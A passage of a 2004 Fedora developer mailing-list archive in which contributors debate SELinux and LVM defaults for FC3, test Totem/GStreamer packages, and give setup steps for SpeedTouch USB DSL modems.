me, but I've got selinux disabled, anyway. May I ask what happened to Arjan's kernel workbench (http://people.redhat.com/arjanv/2.5/RPMS.kernel/) ? From jspaleta at gmail.com Thu Oct 7 13:52:26 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 7 Oct 2004 09:52:26 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <604aa7910410070652131c82cc@mail.gmail.com> On Thu, 07 Oct 2004 09:00:01 -0400, Stephen Smalley wrote: > Teaching users to use restorecon in the same manner as chmod/chown if > they want to export data to one of the confined services like apache is > not an undue burden. Education about needing to be aware of the contexts now is one issue, but we are going to definitely need to expose the security context information in the tools most people use to check file properties if we want it to be easy to deal with. I know ls in rawhide exposes the contexts via -Z but I haven't poked around with nautilus to see if security context information is exposed there. And of course having nautilus be able to run the restorecon via a right click menu entry on a directory or file is going to be needed for smooth operation for a segment of the userbase. And are there any tools aimed at helping users figure out what file security context settings are needed for specific service/daemons? -jef From dhollis at davehollis.com Thu Oct 7 13:56:06 2004 From: dhollis at davehollis.com (David Hollis) Date: Thu, 07 Oct 2004 09:56:06 -0400 Subject: LVM should not be used by default with FC3 In-Reply-To: <1097137462.5874.15.camel@proton.cygnusx-1.org> References: <1097105771.4711.44.camel@ws.1sttier.net> <200410071721.00457.russell@coker.com.au> <1097137462.5874.15.camel@proton.cygnusx-1.org> Message-ID: <1097157366.3850.10.camel@dhollis-lnx.centricconsulting.com> On Thu, 2004-10-07 at 01:24 -0700, Nathan G. Grennan wrote: > > Yes, at a higher level it does make things simpler. But at a lower level > it makes things much more complex, and the lower level will come out > when something breaks. In most cases you could solve the running out of > disk space problem by just making everything one big partition. I don't > have a problem with LVM, I just have a problem with as the default, > which will effect the newbies more than anyone else. As for SELinux, I > think it needs a lot of work before it is ready for prime time. > > I think the best thing to do if developers are determined to go down > this road is to make it a boot option or something, but not make it the > default for now. All the cases need to be covered first. Does this work > with rescue mode? Will it cause any issues with users trying to > reinstall grub with grub-install? In taking a look at my fairly fresh laptop install (network install of rawhide circa 9/25 or so), it partitioned my 30GB drive into a 100MB /boot partition and the rest as LVM. My /etc/fstab entries look like: /dev/VolGroup00/LogVol00 / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 /dev/VolGroup00/LogVol01 swap swap defaults 0 0 The grub argument appears to be a non-issue, my boot partition is not part of LVM. Doesn't look too complex to me. Granted, I may not be able to use that boot floppy with a 2.2.0 kernel from 8 years ago to rescue the system since it probably won't have LVM tools on it, but the Fedora rescue CD or Knoppix will probably work just fine. Additionally, during the installation I just did the auto-partition option as always and Anaconda did all the hard work setting everything up for. From my end-user perspective, it's not more complex at all. I also like the thought of being able to upgrade to a larger drive in the future by simply joining it to the group, moving all the data and resizing it. Pretty slick. -- David Hollis From lfarkas at bppiac.hu Thu Oct 7 14:01:25 2004 From: lfarkas at bppiac.hu (Farkas Levente) Date: Thu, 07 Oct 2004 16:01:25 +0200 Subject: please update all package to the same db4 version Message-ID: <41654C35.8030100@bppiac.hu> hi, it's be useful to update all packages to the same db4 version (eg: openldap, nss_ldap still use 4.0.14, etc..). i try to fill a bugzilla entry but it seems noone cares about it. if all spec file can be accessable in somewhere, what's more if it can searchable than these kind of "inconsistency" can find much easily. yours. -- Levente "Si vis pacem para bellum!" From shiva at sewingwitch.com Thu Oct 7 14:01:38 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Thu, 07 Oct 2004 07:01:38 -0700 Subject: SELinux should be off by default in FC3 In-Reply-To: <604aa7910410070652131c82cc@mail.gmail.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <604aa7910410070652131c82cc@mail.gmail.com> Message-ID: <69079B6A4134964C35C4F2F3@[10.169.6.246]> --On Thursday, October 07, 2004 9:52 AM -0400 Jeff Spaleta wrote: > I know ls in rawhide exposes the > contexts via -Z but I haven't poked around with nautilus to see if > security context information is exposed there. And of course having > nautilus be able to run the restorecon via a right click menu entry on > a directory or file is going to be needed for smooth operation for a > segment of the userbase. > > And are there any tools aimed at helping users figure out what file > security context settings are needed for specific service/daemons? Also, does find have facilities to match security contexts? It's a common tool for finding violations of other policies, like rogue suid binaries. From alexl at redhat.com Thu Oct 7 14:17:21 2004 From: alexl at redhat.com (Alexander Larsson) Date: Thu, 07 Oct 2004 16:17:21 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097144718.3967.97.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> Message-ID: <1097158641.3967.120.camel@greebo.homeip.net> On Thu, 2004-10-07 at 12:25 +0200, Alexander Larsson wrote: > On Wed, 2004-10-06 at 23:10 +0200, Ronald S. Bultje wrote: > > Hi, > > > > Today, the GStreamer team has released new versions of their GStreamer > > core and plugins. Also, Bastien Nocera has released a new version of > > Totem, which features a largely rewritten GStreamer backend, amongst > > others. There has been a news posting about this on gnomedesktop.org. > > We're convinced that the current combination of these is the best > > legally shippable playback application that has been created so far. It > > might not match mplayer yet, but it's pretty, stable, extensible [1], > > fits well with the rest of the GNOME desktop and, not unimportant, it > > will playback quite a few movies and webstreams by default already > > (Ogg/Theora, in particular). Also, it's actively developed and > > maintained by a large amount of developers (look at the GStreamer > > plugins contributor list, for example). > > > > How would you guys feel about including this in Fedora Core? It would > > add a missing piece to the desktop. We're also considering to propose > > Totem for inclusion in GNOME 2.10. > > I updated rawhide to the latest gstreamer and gstreamer-plugins (not > pushed yet) and built a package for totem. All required rpms are at: > > http://people.redhat.com/alexl/RPMS/totem/ > > Can people test this and see if it works well? Just a note. There is some problems playing the stream at: http://mirror.fluendo.com/cortado/ Where totem (actually gnome-vfs) seems to hang. This is really a server- side bug. Its responding with the whole stream as body to a HEAD or PROPFIND request (instead of nothing), so gnome-vfs proceeds to download the whole thing. The Fluendo people have fixed their server, but can't update the live machine in a while (the fix needs testing). http://www.theora.org/ seems to have some other test files. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's a suave chivalrous Green Beret She's a foxy African-American angel with the soul of a mighty warrior. They fight crime! From sds at epoch.ncsc.mil Thu Oct 7 14:16:06 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 10:16:06 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <604aa7910410070652131c82cc@mail.gmail.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <604aa7910410070652131c82cc@mail.gmail.com> Message-ID: <1097158565.13339.47.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 09:52, Jeff Spaleta wrote: > Education about needing to be aware of the contexts now is one issue, > but we are going to definitely need to expose the security context > information in the tools most people use to check file properties if > we want it to be easy to deal with. I know ls in rawhide exposes the > contexts via -Z but I haven't poked around with nautilus to see if > security context information is exposed there. And of course having > nautilus be able to run the restorecon via a right click menu entry on > a directory or file is going to be needed for smooth operation for a > segment of the userbase. Good ideas, please submit an RFE. AFAIK, nautilus doesn't know about security contexts at all. > And are there any tools aimed at helping users figure out what file > security context settings are needed for specific service/daemons? Ideally, they only need to run restorecon on the path, and restorecon will fetch the proper security context from the file_contexts configuration and apply it. -- Stephen Smalley National Security Agency From cmadams at hiwaay.net Thu Oct 7 14:25:26 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Thu, 7 Oct 2004 09:25:26 -0500 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <20041007142526.GC1411660@hiwaay.net> Once upon a time, Stephen Smalley said: > > The goal of the default selinux policy is to be invisible unless you're > > an exploit. Seems like it's not ;( > > Teaching users to use restorecon in the same manner as chmod/chown if > they want to export data to one of the confined services like apache is > not an undue burden. Lots of web users use FTP to upload files. FTP has a chmod command; it does not have commands to alter SELinux labels (and even if such commands were added, you aren't liable to get WSFTP and such to change just to support a few Linux servers). Not all users have shell access either. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From sds at epoch.ncsc.mil Thu Oct 7 14:23:21 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 10:23:21 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <69079B6A4134964C35C4F2F3@[10.169.6.246]> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <604aa7910410070652131c82cc@mail.gmail.com> <69079B6A4134964C35C4F2F3@[10.169.6.246]> Message-ID: <1097159000.13339.56.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 10:01, Kenneth Porter wrote: > Also, does find have facilities to match security contexts? It's a common > tool for finding violations of other policies, like rogue suid binaries. find /etc -context system_u:object_r:shadow_t -print find /etc -printf "%p %Z\n" But a better tool for this purpose is likely setfiles, e.g.: /usr/sbin/setfiles -qnv /etc/selinux/targeted/contexts/files/file_contexts /etc /sbin/fixfiles check is similar, but seems to only log to a file (fixfiles is a script written by RedHat that calls setfiles internally). -- Stephen Smalley National Security Agency From sds at epoch.ncsc.mil Thu Oct 7 14:27:59 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 10:27:59 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007142526.GC1411660@hiwaay.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> Message-ID: <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 10:25, Chris Adams wrote: > Lots of web users use FTP to upload files. FTP has a chmod command; it > does not have commands to alter SELinux labels (and even if such > commands were added, you aren't liable to get WSFTP and such to change > just to support a few Linux servers). > > Not all users have shell access either. If they upload to the right location in the first place, then they likely won't have a problem - the new files will inherit the security context of the parent directory. It is only when they upload to a location with different protection defaults and then move to the new location. Even copying would work fine, as noted, as it doesn't preserve protections by default unless you specify the corresponding option. -- Stephen Smalley National Security Agency From dwmw2 at infradead.org Thu Oct 7 14:32:14 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Thu, 07 Oct 2004 15:32:14 +0100 Subject: DSL pppoatm (Re: rawhide report: 20041005 changes) In-Reply-To: <41653E44.9010701@redhat.com> References: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> <1096985406.26308.13.camel@localhost.localdomain> <1097148455.318.4.camel@hades.cambridge.redhat.com> <41653E44.9010701@redhat.com> Message-ID: <1097159534.318.40.camel@hades.cambridge.redhat.com> On Thu, 2004-10-07 at 15:01 +0200, Harald Hoyer wrote: > > I now have the driver automatically loading the firmware and > > initialising the hardware, and the initscripts handling all the PPP > > stuff.... all we need is for the pretty GUI network tools to catch up. > > > more documentation please.... well, besides of string freeze.. Documentation of what to do in system-config-network... see bug #131556. That one really would break the string freeze though. To get a SpeedTouch working... Fetch and install tomorrow's rawhide RPMS for rp-pppoe and ppp from ftp://pentafluge.infradead.org/pub/dsl/ Fetch speedtouch-firmware-3.0.1.2-1.nosrc.rpm from the same place, fetch the firmware ZIP file and rebuild to produce speedtouch-firmware-3.0.1.2-1.noarch.rpm. Install that too. Fetch the updated kernel driver from bk://linux-mtd.bkbits.net/speedtch-usb-2.6 or perhaps more usefully from ftp://pentafluge.infradead.org/pub/dsl/usbatm-20041007.tar.gz Build it (assuming you downloaded the latter): tar xvfz usbatm-20041007.tar.gz cd usbatm make nodebug Install the modules in /lib/modules: cp *.ko /lib/modules/`uname -r`/drivers/usb/misc depmod -a Load them: rmmod speedtch # make sure the old one is gone modprobe speedtch Look in /proc/net/atm/speedtch:0 to check the firmware loads OK. It'll take a few seconds. If it doesn't succeed in loading the firmware for itself, try building the modules without 'nodebug' (just 'make') and they'll be a little more verbose. Then bitch at me about it. Make sure your DSL username/password are in /etc/ppp/{chap,pap}-secrets as usual. Set up /etc/sysconfig/network-scripts/ifcfg-ppp0 with your username and vci/vpi details, something like this... # Please read /usr/share/doc/initscripts-*/sysconfig.txt # for the documentation of these parameters. IPV6INIT=yes IPV6TO4INIT=yes USERCTL=yes PEERDNS=yes TYPE=xDSL DEVICE=ppp0 BOOTPROTO=dialup PIDFILE=/var/run/pppoe-adsl.pid FIREWALL=NONE PING=. PPPOE_TIMEOUT=80 LCP_FAILURE=86400 LCP_INTERVAL=1 #CLAMPMSS=1412 CONNECT_POLL=6 CONNECT_TIMEOUT=604800 PERSIST=yes SYNCHRONOUS=no DEFROUTE=yes USER=fish VPI=0 VCI=38 LINUX_PLUGIN=pppoatm.so PROVIDER=aaisp DEMAND=604800 IPADDR=192.0.0.192 REMIP=192.0.0.193 MRU=1500 MTU=1500 Then 'ifup ppp0'. It ought to work. Reboot. It ought to come up automatically. The firmware will load as soon as USB devices are initialised and the line should start synchronising while your initscripts are starting up. (If you have a different USB DSL modem which uses the 'xdslusb' driver which was a slightly more generic version of the old speedtch driver, then fix your horrid old userspace firmware loading code to use request_firmware() from the kernel and use the new 'usb_atm' core I/O code, like I did for speedtch. I merged the xdslusb patches for padding and variable endpoints into the usb_atm part.) -- dwmw2 From alexl at redhat.com Thu Oct 7 14:33:07 2004 From: alexl at redhat.com (Alexander Larsson) Date: Thu, 07 Oct 2004 16:33:07 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097158641.3967.120.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> Message-ID: <1097159587.3967.122.camel@greebo.homeip.net> On Thu, 2004-10-07 at 16:17 +0200, Alexander Larsson wrote: > There is some problems playing the stream at: > http://mirror.fluendo.com/cortado/ > Where totem (actually gnome-vfs) seems to hang. This is really a server- > side bug. Its responding with the whole stream as body to a HEAD or > PROPFIND request (instead of nothing), so gnome-vfs proceeds to download > the whole thing. > > The Fluendo people have fixed their server, but can't update the live > machine in a while (the fix needs testing). They fixed it now. Thanks a lot! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's a shy crooked master criminal on a mission from God. She's a provocative cat-loving Hell's Angel with an evil twin sister. They fight crime! From thomas at apestaart.org Thu Oct 7 14:36:49 2004 From: thomas at apestaart.org (Thomas Vander Stichele) Date: Thu, 07 Oct 2004 16:36:49 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097158641.3967.120.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> <1097158641.3967.120.camel@greebo.homeip.net> Message-ID: <1097159809.1445.111.camel@otto.amantes> Hi, > Just a note. > > There is some problems playing the stream at: > http://mirror.fluendo.com/cortado/ The actual stream URL is http://mirror.fluendo.com:8800, if you're testing directly from totem. The link Alex posted is the page with the java applet. > Where totem (actually gnome-vfs) seems to hang. This is really a server- > side bug. Its responding with the whole stream as body to a HEAD or > PROPFIND request (instead of nothing), so gnome-vfs proceeds to download > the whole thing. > > The Fluendo people have fixed their server, but can't update the live > machine in a while (the fix needs testing). I pushed through an update to this server too, so it should now serve it correctly. Alex verified that it does. Feel free to let us know if it works or not for you ! Thomas Dave/Dina : future TV today ! - http://www.davedina.org/ <-*- thomas (dot) apestaart (dot) org -*-> Whenever we meet you say you've changed Like it's some gift you're not the same <-*- thomas (at) apestaart (dot) org -*-> URGent, best radio on the net - 24/7 ! - http://urgent.fm/ From steve at silug.org Thu Oct 7 14:44:03 2004 From: steve at silug.org (Steven Pritchard) Date: Thu, 7 Oct 2004 09:44:03 -0500 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007142526.GC1411660@hiwaay.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> Message-ID: <20041007144403.GA1073@osiris.silug.org> On Thu, Oct 07, 2004 at 09:25:26AM -0500, Chris Adams wrote: > Lots of web users use FTP to upload files. FTP has a chmod command; it > does not have commands to alter SELinux labels (and even if such > commands were added, you aren't liable to get WSFTP and such to change > just to support a few Linux servers). > > Not all users have shell access either. Switch to DAV maybe? FTP sucks for all sorts of other reasons... :-) Steve -- Steven Pritchard - K&S Pritchard Enterprises, Inc. Email: steve at kspei.com http://www.kspei.com/ Phone: (618)398-3000 Mobile: (618)567-7320 From alexl at redhat.com Thu Oct 7 14:44:22 2004 From: alexl at redhat.com (Alexander Larsson) Date: Thu, 07 Oct 2004 16:44:22 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097144718.3967.97.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> Message-ID: <1097160262.3967.124.camel@greebo.homeip.net> On Thu, 2004-10-07 at 12:25 +0200, Alexander Larsson wrote: > > I updated rawhide to the latest gstreamer and gstreamer-plugins (not > pushed yet) and built a package for totem. All required rpms are at: > > http://people.redhat.com/alexl/RPMS/totem/ > > Can people test this and see if it works well? >From testing a couple of files with this, it seems that the oss sink works much better than the alsa sink (change with gstreamer-properties). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's an underprivileged skateboarding vagrant on the hunt for the last specimen of a great and near-mythical creature. She's a virginal impetuous college professor with a birthmark shaped like Liberty's torch. They fight crime! From linux_4ever at yahoo.com Thu Oct 7 14:47:57 2004 From: linux_4ever at yahoo.com (Steve G) Date: Thu, 7 Oct 2004 07:47:57 -0700 (PDT) Subject: rawhide report: 20041007 changes - rpm In-Reply-To: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> Message-ID: <20041007144757.60569.qmail@web50606.mail.yahoo.com> >rpm-4.3.2-10 >------------ >* Wed Oct 06 2004 Jeff Johnson 4.3.2-10 > >- display caught signals to diagnose #134474 (gonna be SIGPIPE). >- display N-V-R.A in dependency failure messages. >- selinux: set "rpm_script_t" always, not just for /bin/sh. > >* Tue Oct 05 2004 Jeff Johnson 4.3.2-9 > >- fix: revert Obsoletes: "fix" (#134497). >- fix: work around for dangling symlinks not globbed (#134362). I just looked at the srpm to download it. FTP is showing the file size as 24Mb!! The -5 version is only 7Mb in size. What happened? Did binary files get into the rpm tarball? I haven't downloaded it to look since it will take 2-3 hours to do that. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From steve at silug.org Thu Oct 7 14:49:27 2004 From: steve at silug.org (Steven Pritchard) Date: Thu, 7 Oct 2004 09:49:27 -0500 Subject: LVM should not be used by default with FC3 In-Reply-To: <1097157366.3850.10.camel@dhollis-lnx.centricconsulting.com> References: <1097105771.4711.44.camel@ws.1sttier.net> <200410071721.00457.russell@coker.com.au> <1097137462.5874.15.camel@proton.cygnusx-1.org> <1097157366.3850.10.camel@dhollis-lnx.centricconsulting.com> Message-ID: <20041007144927.GB1073@osiris.silug.org> On Thu, Oct 07, 2004 at 09:56:06AM -0400, David Hollis wrote: > My /etc/fstab entries look like: > > /dev/VolGroup00/LogVol00 / ext3 defaults > 1 1 This reminds me... Is there any particular reason the default names of volume groups are "VolGroupXX" instead of something simpler like "vg00"? Ditto with logical volumes. HPUX (and the LVM man pages, last I looked) uses vgXX and lvolX. I personally prefer to be a bit more consistent and use vgXX/lvXX. Either way, I find short, lowercase names to be much easier to type, look at, etc. Steve -- Steven Pritchard - K&S Pritchard Enterprises, Inc. Email: steve at kspei.com http://www.kspei.com/ Phone: (618)398-3000 Mobile: (618)567-7320 From rdieter at math.unl.edu Thu Oct 7 14:52:33 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 07 Oct 2004 09:52:33 -0500 Subject: DAV In-Reply-To: <20041007144403.GA1073@osiris.silug.org> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> Message-ID: <41655831.4040908@math.unl.edu> Steven Pritchard wrote: > On Thu, Oct 07, 2004 at 09:25:26AM -0500, Chris Adams wrote: > >>Lots of web users use FTP to upload files. FTP has a chmod command; it >>does not have commands to alter SELinux labels (and even if such >>commands were added, you aren't liable to get WSFTP and such to change >>just to support a few Linux servers). >> >>Not all users have shell access either. > > > Switch to DAV maybe? I have yet to find any usable DAV client/server implementations for linux (though I admit that I haven't looked *that* hard) that support ~user directories. -- Rex From cmadams at hiwaay.net Thu Oct 7 15:01:56 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Thu, 7 Oct 2004 10:01:56 -0500 Subject: LVM should not be used by default with FC3 In-Reply-To: <20041007144927.GB1073@osiris.silug.org> References: <1097105771.4711.44.camel@ws.1sttier.net> <200410071721.00457.russell@coker.com.au> <1097137462.5874.15.camel@proton.cygnusx-1.org> <1097157366.3850.10.camel@dhollis-lnx.centricconsulting.com> <20041007144927.GB1073@osiris.silug.org> Message-ID: <20041007150156.GE1411660@hiwaay.net> Once upon a time, Steven Pritchard said: > On Thu, Oct 07, 2004 at 09:56:06AM -0400, David Hollis wrote: > > My /etc/fstab entries look like: > > > > /dev/VolGroup00/LogVol00 / ext3 defaults > > 1 1 > > This reminds me... Is there any particular reason the default names > of volume groups are "VolGroupXX" instead of something simpler like > "vg00"? Ditto with logical volumes. I typically make the volume group match the hostname and the logical volumes match the filesystem (so the system "flea.hiwaay.net" has /dev/flea/usr, /dev/flea/tmp; / is /dev/flea/root). Making the volume group distinct is good if you have a need to move a drive from one system to another (having two VolGroup00 is NOT good), and naming the logical volumes sensible just makes it much easier to tell what is what. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From shiva at sewingwitch.com Thu Oct 7 15:12:50 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Thu, 07 Oct 2004 08:12:50 -0700 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <6AA69375D6D857D85562F184@[10.169.6.246]> --On Thursday, October 07, 2004 10:27 AM -0400 Stephen Smalley wrote: >> Not all users have shell access either. > > If they upload to the right location in the first place, then they > likely won't have a problem - the new files will inherit the security > context of the parent directory. It is only when they upload to a > location with different protection defaults and then move to the new > location. Even copying would work fine, as noted, as it doesn't > preserve protections by default unless you specify the corresponding > option. Does FTP support moving? If not, then the issue of not having shell access goes away, because the user can't upload and then move. From katzj at redhat.com Thu Oct 7 15:17:16 2004 From: katzj at redhat.com (Jeremy Katz) Date: Thu, 07 Oct 2004 11:17:16 -0400 Subject: LVM should not be used by default with FC3 In-Reply-To: <20041007144927.GB1073@osiris.silug.org> References: <1097105771.4711.44.camel@ws.1sttier.net> <200410071721.00457.russell@coker.com.au> <1097137462.5874.15.camel@proton.cygnusx-1.org> <1097157366.3850.10.camel@dhollis-lnx.centricconsulting.com> <20041007144927.GB1073@osiris.silug.org> Message-ID: <1097162236.3488.8.camel@bree.local.net> On Thu, 2004-10-07 at 09:49 -0500, Steven Pritchard wrote: > On Thu, Oct 07, 2004 at 09:56:06AM -0400, David Hollis wrote: > > My /etc/fstab entries look like: > > > > /dev/VolGroup00/LogVol00 / ext3 defaults > > 1 1 > > This reminds me... Is there any particular reason the default names > of volume groups are "VolGroupXX" instead of something simpler like > "vg00"? Ditto with logical volumes. Mostly to make it clearer at a glance for the user who's not as familiar with LVM as to what might be going on. Jeremy From cmadams at hiwaay.net Thu Oct 7 15:20:59 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Thu, 7 Oct 2004 10:20:59 -0500 Subject: rawhide report: 20041007 changes - rpm In-Reply-To: <20041007144757.60569.qmail@web50606.mail.yahoo.com> References: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> <20041007144757.60569.qmail@web50606.mail.yahoo.com> Message-ID: <20041007152059.GF1411660@hiwaay.net> Once upon a time, Steve G said: > >rpm-4.3.2-10 > >------------ > I just looked at the srpm to download it. FTP is showing the file size > as 24Mb!! The -5 version is only 7Mb in size. What happened? Did > binary files get into the rpm tarball? I haven't downloaded it to look > since it will take 2-3 hours to do that. I just untarred and retarred the rpm-4.3.2.tar.gz from rpm-4.3.2-10.src.rpm, and it shrunk from 24317156 bytes to 8109624. Something went wonky when that tarball was created; if I gunzip it, I get a rpm-4.3.2.tar that is 130867200 bytes but only extracts to about half that size. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From fedora-devel-list at cygnusx-1.org Thu Oct 7 15:29:45 2004 From: fedora-devel-list at cygnusx-1.org (Nathan Grennan) Date: Thu, 07 Oct 2004 08:29:45 -0700 Subject: LVM should not be used by default with FC3 In-Reply-To: <1097138376.12805.80.camel@gibraltar.stuttgart.redhat.com> References: <1097105771.4711.44.camel@ws.1sttier.net> <1097138376.12805.80.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1097162985.9722.2.camel@ws.1sttier.net> On Thu, 2004-10-07 at 10:39 +0200, Nils Philippsen wrote: > (**) e.g. smartd warns you that /dev/sdb which contains the physical > volume /dev/sdb1 is about to fail, so you do simply: This brings up another issue. Does anaconda combine all available drives? If so, like software raid 0, striping, lvm will increase the problems of drive failure, because instead of worrying about one drive failing, now you have to worry about any of them failing. From cmadams at hiwaay.net Thu Oct 7 15:30:28 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Thu, 7 Oct 2004 10:30:28 -0500 Subject: SELinux should be off by default in FC3 In-Reply-To: <6AA69375D6D857D85562F184@[10.169.6.246]> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> Message-ID: <20041007153028.GG1411660@hiwaay.net> Once upon a time, Kenneth Porter said: > Does FTP support moving? If not, then the issue of not having shell access > goes away, because the user can't upload and then move. Yes, FTP has a "rename" command (well, pair of commands actually, RNFR and then RNTO ) that will move a file. I think it works like the rename() system call (i.e. not across filesystems), but I'm not sure (that may be FTP server specific). I'm pretty sure that the popular Windows FTP clients like WSFTP allow you to "drag and drop" files from one directory to another on the server and use the rename commands. SFTP has the same issue (it has a rename command as well). We sell web hosting, and believe me, customers will upload their files to just about anywhere on the server they have write access (and they'll try other places without knowing why). Shared web hosting is a perfect environment for SELinux, but this would be a killer. Explaining that their CGIs have to have execute permission is hard enough. Also, as someone else mentioned, people do intentionally upload things in one place (out of the web directory) and then move them into place after the upload is complete. This is especially common when uploading a whole new version of a site. I would love to say "use something else" or "only do it this way" but that isn't practical as a web hosting seller. If you tell customers things like that, they go elsewhere. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From fedora-devel-list at cygnusx-1.org Thu Oct 7 15:41:30 2004 From: fedora-devel-list at cygnusx-1.org (Nathan Grennan) Date: Thu, 07 Oct 2004 08:41:30 -0700 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <1097163690.9722.14.camel@ws.1sttier.net> On Thu, 2004-10-07 at 08:46 -0400, Stephen Smalley wrote: > The mv command preserve protections by default, as expected. A similar > issue would arise if the original ownership and mode bits on the file > prior to moving prevented access by apache, right? > Security contexts are generally hidden, their are so many more, and are a lot more complex. Owner/Group/Permissions/Umask are setup in such a way that they generally not a problem, unlike security contexts. > And they already have to deal with setting mode bits. Running > restorecon on the file as an extra step is just an education issue. > I think this is asking too much, especially when the complexity level is such that users won't generally be manually setting security context, but letting the system figure out the correct context for them via restorecon. That says to me it is more of a automation problem than it is a education problem. > Improved transparency is certainly a good thing, but you are imposing an > unfair requirement on SELinux that does not exist for the existing DAC > protections and total transparency would just mean no protection at > all. > I think overall it what it comes down to is that SELinux micro-manages security way too much. SELinux's level of security might be suitable in some situations, but will be too much of a burden in most situations. From sds at epoch.ncsc.mil Thu 